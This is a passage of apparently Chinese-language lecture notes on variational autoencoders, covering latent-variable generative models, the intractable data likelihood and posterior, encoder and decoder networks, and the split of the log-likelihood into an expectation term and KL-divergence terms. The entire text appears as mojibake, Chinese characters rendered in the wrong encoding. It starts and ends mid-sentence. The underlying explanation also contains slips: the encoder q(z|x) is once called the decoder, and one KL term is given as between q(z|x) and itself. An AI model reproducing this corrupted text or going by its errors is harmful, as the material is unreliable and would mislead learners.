็š„่Œƒๅ›ดๆ˜ฏไปŽ 1 ๅˆฐ Nใ€‚่ฏฅๆ•ฐๆฎๆ˜ฏไปŽๆŸ็งๆฝœๅœจ็š„ไธๅฏ่ง‚ๆต‹็š„้šๅผ่กจๅพ z ไธญ็”Ÿๆˆ็š„ใ€‚้‚ฃไนˆไปŽ็›ด่ง‚ไธŠ่ฎฒ๏ผŒz ็š„ๅ…ƒ็ด ่ฆๆ•ๆ‰็š„ไฟกๆฏๆ˜ฏๅœจ่ฎญ็ปƒๆ•ฐๆฎไธญๆŸ็งๅ˜ๅŒ–ๅ› ๅญ็š„ๅคšๅฐ‘ใ€‚้‚ฃไนˆ่ฟ™ๅฐฑๅƒๆ˜ฏๅœจ่ฏดๅฎƒไปฌ๏ผˆz ไธญ็š„ๅ…ƒ็ด ๏ผ‰ๅฏ่ƒฝๆ˜ฏๆŸ็ง็ฑปไผผไบŽๅฑžๆ€ง็š„ไธœ่ฅฟ๏ผŒๆฏ”ๅฆ‚่ฏดๆˆ‘ไปฌๆ‰“็ฎ—็”Ÿๆˆไธ€ไบ›้ขๅญ”๏ผˆๅ›พๅƒ๏ผ‰๏ผŒ้‚ฃ่ฟ™ๆ—ถๅ€™ๅฎƒ๏ผˆz ็š„ๅ…ƒ็ด ๏ผ‰ๅฐฑๆœ‰ๅฏ่ƒฝๆŒ‡ไปฃ่„ธไธŠๆœ‰ๅ‡ ๅˆ†็ฌ‘ๆ„๏ผŒไนŸๅฏไปฅๆŒ‡ไปฃ็œ‰ๆฏ›ๆˆ–่€…ๅคดๅ‘็š„ไฝ็ฝฎ๏ผŒไนŸๅฏไปฅๆ˜ฏๅคด้ƒจ็š„ๆœๅ‘ใ€‚่ฟ™ไบ›้ƒฝๆœ‰ๅฏ่ƒฝ้šๅ˜้‡ๅญฆไน ็š„ใ€‚้‚ฃไนˆๆˆ‘ไปฌ็š„็”Ÿๆˆ่ฟ‡็จ‹ๅฐฑๆ˜ฏ่ฆไปŽๅ…ณไบŽ z ็š„ๅ…ˆ้ชŒๅˆ†ๅธƒไธญ้‡‡ๆ ท๏ผŒๅฏนไบŽๆŸ็งๅฑžๆ€ง๏ผŒๆฏ”ๅฆ‚ๆœ‰ๅ‡ ๅˆ†็ฌ‘ใ€‚ๆˆ‘ไปฌ้ƒฝๅฏไปฅๅ‡่ฎพไธ€ไธชๆˆ‘ไปฌ่ง‰ๅพ—ๅฎƒๅบ”่ฏฅๆ˜ฏๆ€Žๆ ทไธ€ไธชๅ…ˆ้ชŒๅˆ†ๅธƒ๏ผŒ้ซ˜ๆ–ฏๅˆ†ๅธƒๅฐฑๆ˜ฏไธ€ไธชๅฏน z ไธญๆฏไธชๅ…ƒ็ด ็š„ไธ€ไธช่‡ช็„ถ็š„ๅ…ˆ้ชŒๅ‡่ฎพใ€‚ๅŒๆ—ถๆˆ‘ไปฌๅฐ†ไผš้€š่ฟ‡ไปŽๅœจ็ป™ๅฎš z ็š„ๆกไปถไธ‹๏ผŒx ็š„ๆกไปถๆฆ‚็Ž‡ๅˆ†ๅธƒไธญ p(x|z) ไธญ้‡‡ๆ ทใ€‚้‚ฃไนˆๆˆ‘ไปฌๅ…ˆๅฏน z ้‡‡ๆ ท๏ผŒไนŸๅฐฑๆ˜ฏๅฏนๆฏไธช้šๅ˜้‡้‡‡ๆ ท๏ผŒๆŽฅไธ‹ๆฅๆˆ‘ไปฌๅฐฑๅฏไปฅๅˆฉ็”จๅฎƒๅนถไปŽ่ฟ™้‡Œๅฏนๅ›พๅƒ x ้‡‡ๆ ทใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/08/5b9331a150020.png)\n\nๅฏนไบŽไธŠ่ฟฐ้‡‡ๆ ท่ฟ‡็จ‹๏ผŒ็œŸๅฎž็š„ๅ‚ๆ•ฐๆ˜ฏ theta*ใ€‚ๆˆ‘ไปฌๆœ‰ๅ…ณไบŽๅ…ˆ้ชŒๅ‡่ฎพๅ’Œๆกไปถๆฆ‚็Ž‡ๅˆ†ๅธƒ็š„ๅ‚ๆ•ฐใ€‚ๅŒๆ—ถๆˆ‘ไปฌ็š„็›ฎ็š„ๅœจไบŽ่Žทๅพ—ไธ€ไธช็”Ÿๆˆๅผๆจกๅž‹๏ผŒไปŽ่€Œๅˆฉ็”จๅฎƒๆฅ็”Ÿๆˆๆ–ฐ็š„ๆ•ฐๆฎใ€‚็œŸๅฎžๅ‚ๆ•ฐไธญ็š„่ฟ™ไบ›ๅ‚ๆ•ฐๆ˜ฏๆˆ‘ไปฌๆƒณ่ฆไผฐ่ฎกๅนถๅพ—ๅ‡บ็š„ใ€‚\n\nๆˆ‘ไปฌๅ…ˆๆฅ่ฐˆ่ฐˆ่ฏฅๅฆ‚ไฝ•่กจ็คบไธŠ่ฟฐๆจกๅž‹ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ่ฆๅฏน่ฏฅ็”Ÿๆˆ่ฟ‡็จ‹ๅปบๆจก๏ผŒไบ‹ๅฎžไธŠๆˆ‘ไปฌไน‹ๅ‰ๅทฒ็ป่ฏด่ฟ‡ๆˆ‘ไปฌๅฏไปฅ้€‰ไธ€ไธช็ฎ€ๅ•็š„ๅ…ณไบŽ z ็š„ๅ…ˆ้ชŒๅˆ†ๅธƒ๏ผŒๆฏ”ๅฆ‚้ซ˜ๆ–ฏๅˆ†ๅธƒไป€ไนˆ็š„๏ผŒๅŒๆ—ถ้šๅ˜้‡ไนŸ้€‰็š„ๅˆ็†ใ€‚ๅฏนไบŽ็ป™ๅฎš z ็š„ x ็š„ๆกไปถๆฆ‚็Ž‡ๅˆ†ๅธƒ p(x|z)๏ผŒไบ‹ๅฎžไธŠๅฎƒๆ›ดๅคๆ‚ไธ€ไบ›๏ผŒๅ› ไธบๆˆ‘ไปฌ่ฆ็”จๅฎƒๆฅ็”Ÿๆˆไธ€ไธชๅ›พๅƒใ€‚้‚ฃไนˆ p(x|z) ๅƒๆˆ‘ไปฌไน‹ๅ‰็œ‹ๅˆฐ็š„้‚ฃๆ ท๏ผŒๅฝ“ๆˆ‘ไปฌ้œ€่ฆๆƒณ่ฆ่กจ็คบไธ€ไธชๅคๆ‚ๅ‡ฝๆ•ฐ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๅฏไปฅ็”จ็ฅž็ป็ฝ‘็ปœๆฅ่กจ็คบ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ็”จ็ฅž็ป็ฝ‘็ปœๆฅๅฏน p(x|z) ๅปบๆจกๆ˜ฏไธ€ไธชๅพˆ่‡ช็„ถ็š„้€‰ๆ‹ฉใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/08/5b93331e80ee3.png)\n\n่ฟ™ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๅฐฑ่ฆ่ฐƒ็”จ่ฏฅ่งฃ็ ๅ™จ็ฝ‘็ปœไบ†ใ€‚้‚ฃๅฐฑๆ˜ฏ่ฏด๏ผŒๆˆ‘ไปฌๆƒณ่ฆ้€‰ๅ–้šๅผ่กจๅพๅนถๅฐ†ๅ…ถ่งฃ็ ไธบๅฎƒๆ‰€่กจ็คบ็š„ๅ›พๅƒใ€‚\n\n้‚ฃๆˆ‘ไปฌ่ฆๅฆ‚ไฝ•่ฎญ็ปƒ่ฟ™ไธชๆจกๅž‹ๅ‘ข๏ผŸๆˆ‘ไปฌๆƒณ่ฆ่ฎญ็ปƒๅฅฝ่ฏฅๆจกๅž‹๏ผŒ่ฟ™ๆ ทไธ€ๆฅๅฐฑ่ƒฝไน ๅพ—ไธ€ไธชๅฏนไบŽ่ฟ™ไบ›ๅ‚ๆ•ฐ็š„ไผฐ่ฎกใ€‚ๅฆ‚ๆžœไฝ ่ฟ˜่ฎฐๅพ—่ฎญ็ปƒ็”Ÿๆˆๅผๆจกๅž‹็š„็ญ–็•ฅ๏ผŒไนŸๅฐฑๆ˜ฏๅ›žๅˆฐ้‚ฃไบ›ๅฎŒๅ…จๅฏ่งไฟกๅฟต็ฝ‘็ปœ๏ผˆfully visible belief networks๏ผ‰๏ผŒๅฆ‚ๆˆ‘ไปฌ็š„ pixelRNNs ๅ’Œ CNNs๏ผŒไธ€ไธช็›ดๆŽฅไธ”่‡ช็„ถ็š„็ญ–็•ฅๅฐฑๆ˜ฏ้€š่ฟ‡ๆœ€ๅคงๅŒ–่ฎญ็ปƒๆ•ฐๆฎ็š„ไผผ็„ถๅ‡ฝๆ•ฐๆฅๅฏปๆ‰พ่ฟ™ไบ›ๆจกๅž‹็š„ๅ‚ๆ•ฐใ€‚ไน‹ๅ‰ๆˆ‘ไปฌ็œ‹ๅˆฐ่ฟ‡๏ผŒๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹ๅœจๅทฒ็ป็ป™ๅฎš้šๅ˜้‡ z ็š„ๆƒ…ๅ†ตไธ‹๏ผŒๆˆ‘ไปฌ้œ€่ฆๅ†™ๅ‡บ x ็š„ๅˆ†ๅธƒ p ๅนถๅฏนๆ‰€ๆœ‰ๅฏ่ƒฝ็š„ z ๅ€ผๅ–ๆœŸๆœ›ใ€‚ๅ› ไธบ z ๆ˜ฏ่ฟž็ปญ็š„๏ผŒๆ‰€ไปฅ่ฟ™้‡Œๆˆ‘ไปฌๆœ‰่ฟ™ๆ ทไธ€ไธช่กจ่พพๅผใ€‚ๅœจ้šๅ˜้‡ z ไธ‹๏ผŒๆˆ‘ไปฌ็š„ๅ…ฌๅผๆ˜ฏ่ฟ™ๆ ท็š„ใ€‚\n\n็Žฐๅœจๆˆ‘ไปฌๆƒณ่ฆๆœ€ๅคงๅŒ–ๅฎƒ็š„ไผผ็„ถ๏ผŒ้‚ฃไนˆไผšๆœ‰ไป€ไนˆ้—ฎ้ข˜ๅ‘ข๏ผŸๆˆ‘ไปฌๅฏไปฅ็›ดๆŽฅ้€š่ฟ‡ๆฑ‚ๅฏผๆฅๆœ€ๅคงๅŒ–ไผผ็„ถๅ—๏ผŸไธใ€‚่ฟ™ไธช็งฏๅˆ†ไธไผšๅพˆๅฅฝ่งฃใ€‚้‚ฃๅ’‹ๆ•ด๏ผŸ\n\n\n\n#### Variational Autoencoders: Intractability\n\n![](https://i.loli.net/2018/09/10/5b95b875e6c32.png)\n\nไธŠ้ขๆ˜ฏๆˆ‘ไปฌ็š„ๆ•ฐๆฎไผผ็„ถ้กน๏ผŒ็ฌฌไธ€้กนๆ˜ฏ z ็š„ๅˆ†ๅธƒ p(z)๏ผŒ่ฟ™้‡Œๆˆ‘ไปฌไน‹ๅ‰่ฏด่ฟ‡ๅฏไปฅ็›ดๆŽฅๆŠŠๅฎƒ่ฎพๅฎšไธบ็ฎ€ๅ•็š„้ซ˜ๆ–ฏๅˆ†ๅธƒ๏ผ›ๅฏนไบŽ p(x|z) ๆˆ‘ไปฌไน‹ๅ‰่ฏด่ฆๆŒ‡ๅฎšไธ€ไธช็ฅž็ป็ฝ‘็ปœ่งฃ็ ๅ™จ๏ผŒ่ฟ™ๆ ทไธ€ๆฅ๏ผŒไปปๆ„็ป™ๅฎšไธ€ไธช z๏ผŒๆˆ‘ไปฌๅฐฑ่ƒฝ่Žทๅพ— p(x|z)๏ผŒ่ฟ™ไนŸๅฐฑๆ˜ฏ็ฅž็ป็ฝ‘็ปœ็š„่พ“ๅ‡บใ€‚ไฝ†ๆ˜ฏ๏ผๆˆ‘ไปฌๆƒณ่ฆๅฏนๆฏไธ€ไธช z ๅ€ผ่ฎก็ฎ— p(x|z)๏ผŒ็Žฐๅœจ่ฟ˜ๆ˜ฏๅพˆๅ›ฐ้šพ็š„๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๆ— ๆณ•่ฎก็ฎ—่ฏฅ็งฏๅˆ†ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/10/5b95ba1503403.png)\n\n้‚ฃไนˆๆ•ฐๆฎ็š„ไผผ็„ถๅ‡ฝๆ•ฐๆ˜ฏ้šพ่งฃ็š„๏ผŒ็ป“ๆžœๅฐฑๆ˜ฏๅฎƒ็›ดๆŽฅๅฏผ่‡ดไบ†ๆจกๅž‹็š„ๅ…ถไป–้กนใ€‚ๆˆ‘ไปฌๆฅ็œ‹ๅŽ้ชŒๅฏ†ๅบฆๅˆ†ๅธƒ๏ผŒไนŸๅฐฑๆ˜ฏ p(z|x)๏ผŒ๏ผˆๆ นๆฎ่ดๅถๆ–ฏๅ…ฌๅผ๏ผ‰ไนŸๅฐฑ็ญ‰ไบŽ p(x|z) ไน˜ไปฅ p(z) ๅ†้™คไปฅ p(x)๏ผŒ่ฟ™ไนŸๆ˜ฏ้šพ่งฃ็š„๏ผŒๆˆ‘ไปฌ็Žฐๅœจๆœ‰ p(x|z) ไปฅๅŠ p(z)๏ผŒไฝ†ๆ˜ฏ p(x) ไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌ็š„ไผผ็„ถๅ‡ฝๆ•ฐ๏ผŒไนŸๅฐฑๆ˜ฏ่ฟ™ไธช็งฏๅˆ†ๅพˆ้šพ่ฎก็ฎ—ใ€‚\n\nๆ‰€ไปฅๆˆ‘ไปฌๆ— ๆณ•็›ดๆŽฅไผ˜ๅŒ–ๅฎƒ๏ผˆไผผ็„ถ๏ผ‰๏ผŒไธ่ฟ‡ๆˆ‘ไปฌไผš็œ‹ๅˆฐไธ€ไธช่งฃๅ†ณๅŠžๆณ•๏ผŒไธ€ไธชๅฏไปฅ่ฎฉๆˆ‘ไปฌ่ฎญ็ปƒ่ฏฅๆจกๅž‹็š„ๅŠžๆณ•๏ผŒ้‚ฃๅฐฑๆ˜ฏ๏ผšๅฆ‚ๆžœๅœจไฝฟ็”จ็ฅž็ป็ฝ‘็ปœ่งฃ็ ๅ™จๆฅๅฎšไน‰ไธ€ไธชๅฏน p(x|z) ๅปบๆจก็ฅž็ป็ฝ‘็ปœ็š„ๅŒๆ—ถ๏ผŒๆˆ‘ไปฌ็Žฐๅœจ้ขๅค–ๅฎšไน‰ไธ€ไธช็ผ–็ ๅ™จ q(z|x)๏ผŒๆˆ‘ไปฌไผšๆŠŠ่ฟ™ๆˆไธบ็ผ–็ ๅ™จ๏ผŒๅ› ไธบๆˆ‘ไปฌๆ‰“็ฎ—ๅฐ†่พ“ๅ…ฅ x ็ผ–็ ไธบ z๏ผŒไปŽ่€Œๅพ—ๅˆฐไผผ็„ถ p(z|x)ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๆˆ‘ไปฌๅฎšไน‰่ฏฅ็ฝ‘็ปœๆฅไผฐ่ฎกๅ‡บ p(z|x)ใ€‚ๆฒก้”™๏ผŒ่ฟ™ไธชๅŽ้ชŒๅฏ†ๅบฆๅˆ†ๅธƒ้กนไป็„ถๆ˜ฏ้šพ่งฃ็š„ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ็”จ่ฏฅ้™„ๅŠ ็ฝ‘็ปœๆฅไผฐ่ฎก่ฏฅๅŽ้ชŒๅˆ†ๅธƒ๏ผŒๆˆ‘ไปฌๅฐ†ไผš็œ‹ๅˆฐ่ฟ™ไบ‹ๅฎžไธŠๅฐ†ไฝฟๅพ—ๆˆ‘ไปฌๅพ—ๅˆฐไธ€ไธชๆ•ฐๆฎไผผ็„ถ็š„ไธ‹็•Œ๏ผŒ่€Œ่ฏฅไธ‹็•Œๆ˜ฏๆ˜“่งฃ็š„๏ผŒไนŸๆ˜ฏ่ƒฝไผ˜ๅŒ–็š„ใ€‚\n\n\n\n#### Details\n\n![](https://i.loli.net/2018/09/10/5b95bd16d701a.png)\n\n้‚ฃไนˆๅฏนไบŽๆˆ‘ๆŒ‡ๅ‡บ็š„่ฟ™ไบ›็ผ–็ ๅ™จๅ’Œ่งฃ็ ๅ™จ่ฏดๅพ—ๅ†ๅ…ทไฝ“ไธ€็‚นๅฐฑๆ˜ฏ๏ผšๅœจๅ˜ๅˆ†่‡ช็ผ–็ ๅ™จไธญ๏ผŒๆˆ‘ไปฌๆƒณ่ฆๅพ—ๅˆฐไธ€ไธช็”Ÿๆˆๆ•ฐๆฎ็š„ๆฆ‚็Ž‡ๆจกๅž‹ใ€‚ๅœจ่ฎฒ่‡ช็ผ–็ ๅ™จ็š„ๆ—ถๅ€™ๆˆ‘ไปฌๅทฒ็ป่ฎฒ่ฟ‡่ฟ™ไธ€ๆฆ‚ๅฟต๏ผŒๅฐฑๆ˜ฏ่ฏด๏ผŒๅฐ†่พ“ๅ…ฅ x ้€ๅ…ฅ็ผ–็ ๅ™จๅพ—ๅˆฐไธ€ไบ›็‰นๅพ z๏ผŒ็„ถๅŽ้€š่ฟ‡่งฃ็ ๅ™จ็ฝ‘็ปœๅ†ๆŠŠ z ๆ˜ ๅฐ„ๅ›žๅˆฐๅ›พๅƒ xใ€‚ๆ‰€ไปฅ่ฟ™้‡Œๆˆ‘ไปฌ่ฟ˜ๆ˜ฏๆœ‰ไธ€ไธช็ผ–็ ๅ™จ็ฝ‘็ปœๅ’Œไธ€ไธช่งฃ็ ๅ™จ็ฝ‘็ปœ๏ผŒไฝ†ๆ˜ฏๆˆ‘ไปฌ่ฆๅฐ†ไธ€ๅˆ‡**้šๆœบๅŒ–**ใ€‚้‚ฃไนˆ็Žฐๅœจๆˆ‘ไปฌ็š„ๅ‚ๆ•ฐๆ˜ฏ $\\phi$๏ผŒ่งฃ็ ๅ™จ็ฝ‘็ปœ q(z|x)๏ผŒๅฐ†ไผšไปŽ่ฟ™้‡Œ่พ“ๅ‡บไธ€ไธชๅ‡ๅ€ผๅ’Œไธ€ไธชๅฏน่ง’ๅๆ–นๅทฎ็Ÿฉ้˜ตใ€‚่ฟ™ไบ›ๅฐ†ไผš็”ฑ็ผ–็ ๅ™จ็ฝ‘็ปœ็›ดๆŽฅ่พ“ๅ‡บ๏ผŒๅŒๆ—ถๅฏนไบŽ่งฃ็ ๅ™จ็ฝ‘็ปœไนŸไธ€ๆ ท๏ผŒๅชไธ่ฟ‡ๅฎƒๆ˜ฏไปŽ z ๅผ€ๅง‹๏ผŒๅฐ†ไผš่พ“ๅ‡บๅ‡ๅ€ผๅ’Œๅ…ณไบŽ x ็š„ๅฏน่ง’ๅๆ–นๅทฎ็Ÿฉ้˜ตใ€‚็ป™ๅฎš z ไธ‹๏ผŒ่ฟ™้‡Œ็š„ x ็š„็ปดๅบฆๅ’Œ่พ“ๅ…ฅไธ€ๆ ทใ€‚่ฏฅ่งฃ็ ๅ™จ็ฝ‘็ปœ็”ฑไธๅŒ็š„็ผ–็ ๅ™จ็ฝ‘็ปœ็š„ๅ‚ๆ•ฐ $\\theta$ ๅ†ณๅฎšใ€‚\n\n็Žฐๅœจไธบไบ†็œŸๆญฃๅพ—ๅˆฐ z๏ผŒๅ‡†็กฎๅœฐ่ฎฒๆ˜ฏ็ป™ๅฎš x ไธ‹็š„ z ๅ’Œ็ป™ๅฎš z ไธ‹็š„ x๏ผŒๆˆ‘ไปฌๅฐ†ไผšไปŽ่ฟ™ไบ›ๅˆ†ๅธƒ๏ผˆp ๅ’Œ q๏ผ‰ไธญ้‡‡ๆ ทใ€‚้‚ฃไนˆ็Žฐๅœจๆˆ‘ไปฌ็š„็ผ–็ ๅ™จๅ’Œ่งฃ็ ๅ™จ็ฝ‘็ปœ๏ผŒๆ‰€็ป™ๅ‡บ็š„ๅˆ†ๅˆซๆ˜ฏ z ๅ’Œ x ็š„๏ผˆๆกไปถๆฆ‚็Ž‡๏ผ‰ๅˆ†ๅธƒ๏ผŒๅนถไผšไปŽ่ฟ™ไบ›ๅˆ†ๅธƒไธญ้‡‡ๆ ทไปŽ่€Œ่Žทๅพ—ๅ€ผใ€‚็Žฐๅœจไฝ ๅบ”่ฏฅๅทฒ็ปไบ†่งฃ้‡‡ๆ ทๅ’Œ็”Ÿๆˆๆ–ฐๆ•ฐๆฎ็š„ๆ•ดไธชๆต็จ‹ไบ†ใ€‚\n\n่ฟ˜ๆœ‰ไธ€็‚น่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒ่ฟ™ไบ›็ผ–็ ๅ™จๅ’Œ่งฃ็ ๅ™จ็ฝ‘็ปœ่ฟ˜ๆœ‰ๅ…ถไป–็š„ๅซๆณ•ใ€‚็ผ–็ ๅ™จ็ฝ‘็ปœไนŸๆ˜ฏไธ€็ง่ฏ†ๅˆซๆˆ–่€…ๆŽจๆ–ญ็ฝ‘็ปœ๏ผˆrecognition or inference network๏ผ‰๏ผŒๅ› ไธบๆˆ‘ไปฌๆ˜ฏๅœจ็ป™ๅฎš x ็š„ๆกไปถไธ‹ๅฝขๆˆๅฏน้šๅผ่กจๅพ z ็š„ๆŽจๆ–ญ็š„๏ผŒ่€ŒๅฏนไบŽ่งฃ็ ๅ™จ็ฝ‘็ปœ๏ผŒๆˆ‘ไปฌๅฐ†็”จๆฅๆ‰ง่กŒ็”Ÿๆˆ่ฟ‡็จ‹๏ผŒๆ‰€ไปฅไฝ ไนŸไผšๅฌๅˆฐๆœ‰ไบบ็งฐๅฎƒ็”Ÿๆˆ็ฝ‘็ปœ๏ผˆgeneration network๏ผ‰ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/10/5b95bfe4832c7.png)\n\nๆ—ข็„ถๅทฒ็ป้…ๅค‡็ผ–็ ๅ™จๅ’Œ่งฃ็ ๅ™จ็ฝ‘็ปœ๏ผŒไธ‹้ขๆˆ‘ไปฌๅ†ๆฅๆฑ‚่งฃไธ‹ๆ•ฐๆฎไผผ็„ถใ€‚่ฟ™้‡Œๆˆ‘ไปฌไผšไฝฟ็”จๅฏนๆ•ฐไผผ็„ถใ€‚\n\n้‚ฃไนˆๆˆ‘ไปฌๅฐ†ไผš็œ‹ๅˆฐ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌๆƒณ่Žทๅพ— log(p(x))๏ผŒๆˆ‘ไปฌๅฏไปฅๆŠŠๅฎƒๅ†™ๆˆ p(x)๏ผŒไฝ†่ฆๅ…ณไบŽ z ๅ–ๆœŸๆœ›ใ€‚ๆ‰€ไปฅ z ๆ˜ฏ้‡‡ๆ ท่‡ชๅˆ†ๅธƒ q(z|x)๏ผŒไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌ็›ฎๅ‰ไธบๆญข้€š่ฟ‡็ผ–็ ๅ™จ็ฝ‘็ปœๅฎšไน‰็š„ๅˆ†ๅธƒใ€‚ๆˆ‘ไปฌไน‹ๆ‰€ไปฅ่ƒฝ่ฟ™ไนˆๅš๏ผŒๆ˜ฏๅ› ไธบ p(x) ๅนถไธไพ่ต– z๏ผŒz ไธๆ˜ฏๅฎƒ็š„ไธ€้ƒจๅˆ†ใ€‚็Žฐๅœจๅ…ณไบŽ z ๅ–ๆœŸๆœ›็š„ไฝœ็”จไน‹ๅŽๅฐฑ่ƒฝๆ˜พ็Žฐๅ‡บๆฅไบ†๏ผˆ็ฌฌไธ€่กŒ๏ผ‰ใ€‚\n\nๆ นๆฎ่ดๅถๆ–ฏๅ…ฑ่ฏ†๏ผŒไปŽ่ฟ™ไธ€ๅŽŸๅง‹่กจ่พพๅผๅผ€ๅง‹๏ผˆ็ฌฌไบŒ่กŒ๏ผ‰๏ผŒๆˆ‘ไปฌๅฏไปฅๅฐ†ๅ…ถๅฑ•ๅผ€ๆˆ p(x|z) ไน˜ไปฅ p(z) ๅ†้™คไปฅ p(z|x) ็š„ๅฏนๆ•ฐๅฝขๅผใ€‚ไธ‹้ขไธบไบ†ๆฑ‚่งฃๅฎƒๆˆ‘ไปฌๅฏไปฅๅ†ไน˜ไธ€ไธชๅธธๆ•ฐ๏ผŒไนŸๅฐฑๆ˜ฏไน˜ไปฅ q(z|x) ้™คไปฅ q(z|x)๏ผŒไบ‹ๅฎžไธŠๅชๆ˜ฏไน˜ไบ†ๅธธๆ•ฐ1๏ผˆ็ฌฌไธ‰่กŒ๏ผ‰ใ€‚่ฟ™ๆ ทไธ€ๆฅ๏ผŒๆˆ‘ไปฌ่ฆๅš็š„ๅฐฑๆ˜ฏๆŠŠๅฎƒๅ†™ๆˆไธ‰้กนไน‹ๅ’Œ็š„ๅฝขๅผ๏ผŒ่ฟ™้‡Œ็š„ๅ…ณ้”ฎๅœจไบŽไฝฟ็”จๅฏนๆ•ฐๆณ•ๅˆ™๏ผˆ็ฌฌๅ››่กŒ๏ผ‰ใ€‚ๅฝ“ๆˆ‘ไปฌไป”็ป†่ง‚ๅฏŸ่ฟ™ไธ‰้กน๏ผŒไผšๅ‘็Žฐ็ฌฌไธ€้กนๆ˜ฏ log(p(x|z)) ๅ…ณไบŽ z ๅ–ๆœŸๆœ›๏ผŒๆŽฅไธ‹ๆฅๆˆ‘ไปฌ่ฟ˜ไผšๆœ‰ไธคไธช KL ้กน๏ผŒๅฎž้™…ไธŠๆ˜ฏ KL ๆ•ฃๅบฆ้กน๏ผŒๅฎƒไปฌๆ˜ฏ็”จๆฅๆ่ฟฐ่ฟ™ไธคไธชๅˆ†ๅธƒๆœ‰ๅคšไนˆ็›ธไผผ๏ผŒไนŸๅฐฑๆ˜ฏๅˆ†ๅธƒ q(z|x) ๅ’Œๅˆ†ๅธƒ p(z) ๆœ‰ๅคš็›ธไผผ๏ผŒ่ฟ™ไบ‹ๅฎžไธŠๅฐฑๆ˜ฏไธŠ้ข็š„๏ผˆ็ฌฌไบŒไธช๏ผ‰ๆœŸๆœ›้กน๏ผŒๆ˜ฏๅฏนๅˆ†ๅธƒๅ‡ฝๆ•ฐ่ท็ฆป็š„ๅบฆ้‡ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/10/5b95c345d6379.png)\n\nๆŽฅไธ‹ๆฅๆˆ‘ไปฌๅฐ†ไผš็œ‹ๅˆฐๆˆ‘ไปฌไน‹ๅ‰่ง่ฟ‡่ฟ™ไบ›ๆ˜ฏ่ƒฝๅคŸๅ†™ๅ‡บ็š„ๆ€ง่ดจๅพˆๅฅฝ็š„ KL ้กนใ€‚็Žฐๅœจๅฆ‚ๆžœๆˆ‘ไปฌๅ†ไป”็ป†่ง‚ๅฏŸ่ฟ™ไธ‰้กน๏ผŒ็ฌฌไธ€้กนๆ˜ฏ็”ฑ p(x|z) ๅฎƒ็”ฑ่งฃ็ ๅ™จๆไพ›๏ผŒๅŒๆ—ถๆˆ‘ไปฌ่ƒฝๅคŸ้€š่ฟ‡้‡‡ๆ ท่ฎก็ฎ—ๅนถไผฐ่ฎกๅ‡บ่ฟ™ไบ›้กน็š„ๅ€ผ๏ผŒ่€Œไธ”ๆˆ‘ไปฌ่ฟ˜ไผš็œ‹ๅˆฐๆˆ‘ไปฌ่ƒฝๅคŸ้€š่ฟ‡ไธ€็งๅซๅš้‡ๅ‚ๆ•ฐๅŒ–๏ผˆre-parametrization๏ผ‰็š„ๆŠ€ๅทงๆฅ่ฟ›่กŒไธ€ๆฌกๅฏๅพฎๅˆ†็š„้‡‡ๆ ทใ€‚ๅฆ‚ๆžœไฝ ๅฏน้‡ๅ‚ๆ•ฐๅŒ–ๆ„Ÿๅ…ด่ถฃๅฏไปฅๅ‚่€ƒ้‚ฃ็ฏ‡่ฎบๆ–‡ใ€‚็Žฐๅœจๅช่ฆ็Ÿฅ้“ๆˆ‘ไปฌ่ƒฝๅคŸ่ฎก็ฎ—ๅฐฑ่กŒไบ†๏ผŒ็„ถๅŽ่ฟ™ไบ› KL ้กน้‡Œ้ข๏ผŒ็ฌฌไบŒไธช KL ้กนๆ˜ฏไธคไธช้ซ˜ๆ–ฏๅˆ†ๅธƒไน‹้—ด็š„ KL ๆ•ฃๅบฆ๏ผŒไนŸๅฐฑๆ˜ฏๆˆ‘ไปฌ็š„ q(z|x)๏ผŒ่ฟ˜่ฎฐๅพ—ๆ˜ฏๆˆ‘ไปฌ็š„็ผ–็ ๅ™จ็”Ÿๆˆไบ†ไธ€ไธชๅ‡ๅ€ผๅ’Œไธ€ไธชๅๆ–นๅทฎไนˆ๏ผŸๅฎƒไปฌๆž„ๆˆไบ†ไธ€ไธชๆ€ง่ดจๅพˆๅฅฝ็š„้ซ˜ๆ–ฏๅˆ†ๅธƒใ€‚ๅŒๆ ท๏ผŒๆŽฅไธ‹ๆฅๆˆ‘ไปฌ็š„ๅ…ˆ้ชŒๅ‡่ฎพ p(z) ไนŸๆ˜ฏไธ€ไธช้ซ˜ๆ–ฏๅˆ†ๅธƒใ€‚้‚ฃไนˆ่ฟ™ๆ ทไฝ ๆœ‰ไธ€ไธชๅ…ณไบŽไธคไธช้ซ˜ๆ–ฏๅˆ†ๅธƒ็š„ KL ๆ•ฃๅบฆๆ—ถ๏ผŒๅฐฑ็ญ‰ไบŽไฝ ่Žทๅพ—ไบ†ไธ€ไธชๅพˆๅฅฝ็š„้—ญๅผ่งฃ๏ผˆclosed form solution๏ผ‰ใ€‚ไธ‹้ข่ฟ™็ฌฌไธ‰ไธช KL ้กนๆ˜ฏไธ€ไธชๅ…ณไบŽ q(z|x) ๅ’Œ q(z|x) ็š„ KL ๆ•ฃๅบฆใ€‚ไฝ†ๆ˜ฏๆˆ‘ไปฌ็Ÿฅ้“ p(z|x) ๆ˜ฏไธ€ไธช้šพ่งฃ็š„ๅŽ้ชŒๆฆ‚็Ž‡๏ผŒๆˆ‘ไปฌไน‹ๅ‰็œ‹ๅˆฐ่ฟ‡๏ผŒๆˆ‘ไปฌไธๆƒณ็›ดๆŽฅ่ฎก็ฎ—ๅฎƒ๏ผŒ่ฟ™ไนŸๆ˜ฏไธบไป€ไนˆๆˆ‘ไปฌ็”จ q 